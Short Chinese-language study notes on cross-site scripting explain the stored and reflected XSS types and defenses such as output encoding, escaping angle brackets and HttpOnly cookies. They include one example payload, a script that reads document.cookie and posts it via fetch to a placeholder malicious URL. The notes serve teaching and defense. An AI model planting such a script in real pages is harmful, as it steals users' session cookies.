XSS跨站脚本攻击 Cross Site Scripting
分为两种类型存储型和反射性
对于存储型XSS而言,只要用户正常浏览网页,就会中招,所以危害极大。而对于反射型XSS而言,需要诱导用户去点击恶意链接才能中招。
1.存储型(在不知情下就被攻击)
恶意用户向服务器提交了恶意内容(script脚本等),服务器保存了收到的内容
当普通用户访问时,会返回恶意内容,进而进行脚本攻击(正常访问,比如打开微博,看一下今天的热点然后被攻击了)
比如恶意用户给提交的是这种内容,到你请求时,服务器渲染页面,给你返回的页面上就带着这个代码直接盗取你的cookie或者其他信息
<script>
let cookie = document.cookie
fetch("恶意网站url",{
body:JSON.stringify(cookie),
method:"Post",
})
</script>
防御:提交数据时对数据进行过滤或者对数据进行编码,后端渲染是也尽量进行编码(<%=数据%>)
2.反射型(诱导你去点击恶意链接)
恶意用户给你分享了一个网站链接,但在链接中带有恶意内容
正常用户点击之后,服务器在不知情的情况下把链接的恶意内容读了出来,返回给用户,导致被攻击
防御:对链接使用绝对地址,过滤script标签,对箭头进行转义
也可以设置cookie的HttpOnly,cookie不能通过document.cookie获取,保证cookie不能被盗取